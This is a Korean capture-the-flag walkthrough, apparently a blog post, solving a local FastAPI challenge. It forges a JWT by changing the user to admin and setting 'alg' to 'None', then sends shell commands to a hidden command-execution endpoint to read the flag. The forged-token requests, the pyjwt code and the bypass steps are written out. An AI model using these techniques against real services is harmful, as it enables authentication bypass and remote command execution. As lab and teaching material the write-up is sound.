(실천) NewAPI 문제

  • by

우선 NewAPI의 첫 화면입니다.

도커에서 실행 후 localhost 주소인 127.0.0.1에 5010 포트로 접속했다.

127.0.0.1:5010


메인 화면

피들러에서 HTTP Respones 헤더를 Raw 형식으로 읽으면 다음 화면이 표시됩니다.

HTTP/1.1 200 OK
date: Thu, 16 Mar 2023 15:15:44 GMT
server: uvicorn
content-length: 88
content-type: application/json

{“msg”:”Hello stranger!
!
This is CTF Master Moon. Good Luck!
”,”id”:”guest”,”pw”:”guest”}

Chat GPT에게 물어보세요.

Q:
HTTP/1.1 200 OK
date: Thu, 16 Mar 2023 15:15:44 GMT
server:
uvicorn
content-length: 88
content-type: application/json
A:
성공적인 HTTP 요청을 나타내는 서버의 응답 헤더. 여기에는 응답이 전송된 날짜와 시간, 서버 소프트웨어(이 경우 “uvicorn”), 반환되는 콘텐츠의 길이와 유형이 포함됩니다.

그러나 이 응답에는 컨텐츠 본문이 없으므로 클라이언트는 빈 JSON 오브젝트를 수신합니다.

server가 uvicorn임을 알 수 있습니다.

특별한 것은 보이지 않으므로 uvicorn에 대해 배웁니다.

GPT: Uvicorn은 Python 웹 애플리케이션을 비동기 적으로 실행하도록 설계된 Asynchronous Server Gateway Interface (ASGI) 서버입니다.

Python의 asyncio 라이브러리를 사용하여 여러 요청을 동시에 처리하므로 고성능 웹 애플리케이션에 적합합니다.

Uvicorn은 FastAPI 웹 프레임워크와 매우 호환되며 프로덕션 환경에서 FastAPI 애플리케이션을 실행하는 데 자주 사용됩니다.

FastAPI 웹 프레임워크와 호환된다고 한다.

FastAPI 웹 프레임워크란 무엇입니까? 파이썬으로 API를 구축하기 위한 빠르고 고성능 프레임워크라고 한다.

FastAPI를 검색하여 공식 문서로 이동합니다.

https://fastapi.tiangolo.com/ko/

FastAPI

FastAPI FastAPI 프레임워크, 고성능, 간단한 학습, 빠른 코드 작성, 준비된 프로덕션 문서: https://fastapi.tiangolo.com 소스 코드: https://github.com/tiangolo/fastapi FastAPI는 현대적입니다.

고속(고성능) , Python

fastapi.tiangolo.com

위 링크의 문서는 API 문서를 볼 수 있는 URL을 보여줍니다.

두 가지가 있습니다.

이것은 다음과 같습니다.

  1. 127.0.0.1:8000/docs
  2. 127.0.0.1:8000/redoc

Google 페이지에 적용하면 다음 URL을 확인할 수 있습니다.

  • 127.0.0.1:5010/docs
  • 127.0.0.1:5010/redoc

첫 페이지를 확인해 봅시다.

127.0.0.1:5010/docs


docs 페이지

you have no Permission!
!
라는 메시지가 출력되었다.

권한이 없다는 뜻이다.

우선 다음 페이지도 확인해 봅시다.

127.0.0.1:5010/redoc


redoc 페이지

뭔가 많은 정보가 포함되어 있습니다.

페이지의 오른쪽을 보면, get 메소드로 무언가 주소가 나타난다.

여기에서 / 는 web root 디렉토리를, /docs 는 현재 연결된 주소의 URN을 포함합니다.

다른 모든 것을 확인합시다.

127.0.0.1:5010/


/

127.0.0.1:5010/docs


docs

127.0.0.1:5010/loginAction


/loginAction

127.0.0.1:5010/s3cr3t/WDJ11wiao223wWJ24d41jnW5K1Ja7do98AO


/s3cr3t/WDJ11wiao223wWJ24d41jnW5K1Ja7do98AO

위와 같이 4개의 주소를 활용해야 한다고 추측된다.

아마 권한이 없는 것을 보고, 그 후에는 /loginAction으로 로그인을 해야 한다.

/loginAction


loginAction 페이지

요청한 자원에 대해 HTTP 메소드가 허용되지 않는다는 메시지가 표시됩니다.

redoc 문서를 자세히 보면 Condent type과 body로 보이는 부분을 볼 수 있습니다.

주소에는 POST 방식으로 되어 있다.

HTTP 메소드는 허가되지 않고, application/json 형식을 POST 방식으로 송신한다는 의미로 추측된다.

또한 콘텐츠 형식 아래에는 vod 부분으로 추측되는 형식이 포함되어 있습니다.

따라서 HTTP 메서드를 허용된 메서드로 바꿔야 한다고 추측할 수 있습니다.

Fiddler에는 사용자가 HTTP 요청을 변경하고 구성 및 제출할 수 있는 기능이 있습니다.

그것은 바로 composer라는 옵션이다.

피들러의 오른쪽 위에 메뉴를 보면 Composer라는 버튼을 확인할 수 있다.

이것을 클릭하면 아래와 같은 화면이 나옵니다.


Composer 메뉴

여기서 GET/POST 방식을 설정할 수 있고, 주소를 입력할 수 있고, Request Body에 내용을 작성해 HTTP 리퀘스트를 송신할 수 있는 것처럼 보이는 화면이 나타났다.

user_id와 password는 main 페이지에서 본 “guest”를 사용합니다.

Composer

POST

127.0.0.1:5010/loginAction

{
  "user_id": "guest",
  "password": "guest"
}

다음을 입력한 후 오른쪽 상단 모서리에 있는 실행 버튼을 클릭합니다.

이렇게 하면 왼쪽 창에서 응답 값 페이지를 볼 수 있으며 이를 누르면 다음과 유사한 메시지가 표시됩니다.

{
“user_id”:”guest”,
“password”:”guest”,
“success”:true,
“msg”:”welcome guest!
This is our new service!
”,
“Token”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiZ3Vlc3QifQ.JFXLkhEJI6cwZYsIDW6smJjJ5qg18x4GeiFmH
}

토큰 값을 얻었다.

이 토큰은 무엇입니까? Token 부분만 복사하여 GPT에 물어보면 다음과 같은 대답을 얻었다.

GPT: 성공적인 로그인 요청에 응답하여 생성되었을 수 있는 JSON 웹 토큰(JWT). JWT는 당사자간에 JSON 객체로 정보를 전송하는 작고 안전한 방법입니다.

이 특별한 경우 토큰에는 사용자 ID에 대한 정보가 포함되어 인증을 보장하기 위해 개인 키로 서명됩니다.

이 토큰은 서버의 보호된 자원에 액세스하기 위한 후속 요청에서 사용할 수 있습니다.

JSON Web 토큰으로 (JWT)라고 부른다.

JWT 토큰 변경

JWT를 검색하면 공식 사이트에서 디버거를 제공하고 있었다.

https://jwt.io/

JWT.IO

JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.

jwt.io

디버그를 돌리면 온포인트를 기준으로 3개의 값으로 나뉘었다.


jwt.io 디버거 사용

Header: JWT의 토큰 유형 및 서명에 사용되는 알고리즘

페이로드: 전송되는 정보를 포함합니다.

Verify Signature: 서명 확인, 토큰의 진위 확인용

: Header와 Payload는 Base64로 인코딩됩니다.

따라서 Base64로 디코딩하면 결과를 얻을 수 있습니다.

여기서 Payload의 ‘guest’를 ‘admin’으로 변경할 수 있습니다.

JWT 토큰을 확인하는 또 다른 방법은 Burp Suite Extention을 설치하는 것입니다.

버프 스위트가 설치되어 있다고 가정하여 진행합시다.

먼저 버프 스위트를 실행한 후 상단에 Extensions 메뉴에 들어간다.


Burp Extensions

여기에서 App Store에 들어가 Json Web Token을 검색합니다.

(JSON Web Tokens)라는 확장 프로그램을 설치하기만 하면 됩니다.


JSON Web Tokens – 설치 페이지

설치가 완료되면 상단에 JSON Web Tokens라는 메뉴가 생겼는지 확인할 수 있습니다.

클릭 후 Enter JWT에 위에서 얻은 토큰 값을 입력합니다.


Token 값 해석

해석된 것을 확인할 수 있다.

jwt.io에서 ‘guest’를 ‘admin’으로 바꾸고 여기에 삽입하면 다음과 같이 적용되었음을 알 수 있습니다.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiYWRtaW4ifQ.eIoIhSYmcaKDgn5ADDldZIbE4444NkglSgPrZJAF68Y


admin 확인

이제 변경된 토큰을 다음 주소에 적용해 보겠습니다.


– POST: 127.0.0.1:5010/s3cr3t/WDJ11wiao223wWJ24d41jnW5K1Ja7do98AO

HTTP 요청 방법은 위의 Fiddler Composer 메뉴에서 설명한 것과 동일합니다.

Body 내용은 /redoc 문서에서 가져오고 admin으로 변환되었습니다.

cmd 명령은 어떤 파일이 있는지 확인하기 위해 dir을 사용합니다.

{
“Token”: “eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiYWRtaW4ifQ.eIoIhSYmcaKDgn5ADDldZIbE4444NkglSgPrZJAF
“user_id”: “admin”,
“cmd”: “dir”
}


내부 서버 오류

내부 서버 오류가 발생했습니다.

이것은 클라이언트 요청을 처리하는 동안 서버 측 오류를 나타내는 응답 코드입니다.

admin에서 수정하지 않은 Token도 같은 오류가 발생했습니다.

JWT 바이패스 기술

위에서 에러가 나오는 이유는 SIGNATURE(시그니처)값 때문이다.

시그니처 값은 비밀 키가 없으면 올바른 토큰 값을 생성합니다.

> pip install pyjwt
import jwt

# Replace this with your secret key
SECRET_KEY = 'your_secret_key_here'

# Define the payload
payload = {
    'user_id': 'admin'
}

# Encode the JWT token
encoded_jwt = jwt.encode(payload, SECRET_KEY, algorithm='HS256')

# Print the generated JWT token
print(f"Generated JWT token: {encoded_jwt}")

위의 코드에서 your_secret_key_here를 Docker main.py 파일의 SECRET 값으로 변경하면 올바른 토큰을 얻을 수 있습니다.

그러나 이를 확인하려면 서버에 액세스해야 합니다.

따라서 JWT 바이패스 기술을 사용해야 합니다.

다음은 Chat GPT가 가르친 JWT 우회 방법입니다.

  1. JWT 토큰 디코딩:
    1. JWT 토큰은 헤더, 페이로드, 서명의 세 부분으로 구성되며 마침표로 구분됩니다.

      내용을 확인하기 위해 base64 디코딩을 사용하여 각 부분을 디코딩합니다.

  2. 헤더 및 페이로드 분석:
    1. 해독된 헤더와 페이로드를 검사하여 잠재적인 취약점을 식별합니다.

      일반적인 취약점은 약한 서명 알고리즘(“없음”) 또는 잘못 구성된 토큰 처리 로직의 사용을 포함합니다.

  3. 헤더 및/또는 페이로드 변경:
    1. 발견된 취약점을 기반으로 헤더 또는 페이로드를 수정하여 이 취약점을 악용합니다.

      예를 들어 토큰이 ‘none’ 알고리즘을 사용하는 경우 헤더의 ‘alg’ 필드를 ‘none’ 으로 설정하여 서명 유효성 검사를 무시할 수 있습니다.

  4. 변경된 헤더 및 페이로드 재인코딩:
    1. 변경된 헤더와 페이로드를 Base64로 인코딩하고 마침표 구분 기호로 연결합니다.

  5. 새 서명 만들기(해당되는 경우):
    1. 새 서명이 필요한 방식으로 헤더 또는 페이로드를 변경한 경우 변경된 토큰에 적절한 서명을 생성합니다.

      alg 필드를 none으로 설정하면 서명 부분을 공백으로 두거나 원래 서명을 사용할 수 있습니다.

  6. 변경된 JWT 토큰 제출: API 요청에서 변경된 토큰을 사용하여 토큰 검증 프로세스를 성공적으로 우회하는지 확인하십시오.

none 알고리즘이라는 단어가 눈에 띈다.

none 알고리즘은 원래 “HS256″이었던 “alg”를 “none”으로 만드는 알고리즘입니다.

처음

“alg”: “HS256”

none 알고리즘 적용

“alg”: “none”

우회 방법을 배우자. 버프 스위트를 다시 열고 Extension을 설치합니다.

이번에도 json web token으로 검색하여 JSON Web Token Attacker를 Install해준다.


JSON Web Token Attacker

인스톨을 하면, 상부 메뉴 바에 JOSEPH라는 윈도우가 생겼을 것이다.

들어가서 수동을 클릭합니다.

그 후는 전에 「admin」으로 변조한 토큰을 넣어 준다.

Load를 눌러 Signature Exclusion을 선택한 다음 Load를 클릭합니다.

이렇게 하면 다음 Choose Payload라는 이름이 표시되며 여기에서 none 알고리즘을 적용할 수 있습니다.

Update를 누르면 변조된 값을 확인할 수 있습니다.

“Alg”를 네 가지 방법으로 변조하지만 모든 경우를 시도해 보겠습니다.

{
“Token”: “token_value”,
“user_id”: “admin”,
“cmd”: “dir”
}

0x00 none

내부 서버 오류

0x01 None

“__pycache__ docker-entrypoint.sh flag main.py require\n”

0x02 nOne

내부 서버 오류

0x03 NONE

내부 서버 오류

0x01 None으로 성공했다.

dir 명령으로 다음 값을 얻었습니다.

“__pycache__ docker-entrypoint.sh flag main.py require\n”

이제 flag를 실행하기 위해 cmd=”head flag” 명령을 작성해 보겠습니다.


flag를 읽은 모습

HTTP/1.1 200 OK
date: Thu, 16 Mar 2023 17:49:44 GMT
server: uvicorn
content-length: 35
content-type: application/json

“seKUCTF{H3!
L0_@dm1n_!
Ts_M3_MARIo}”

절대로 실제 사이트에서 허가 없이 시험하지 말라!
!
!
!

출처

none 알고리즘으로 우회하는 방법을 찾는데 아래 영상이 큰 도움이 되었습니다.

https://youtu.be/SuDN35-aefY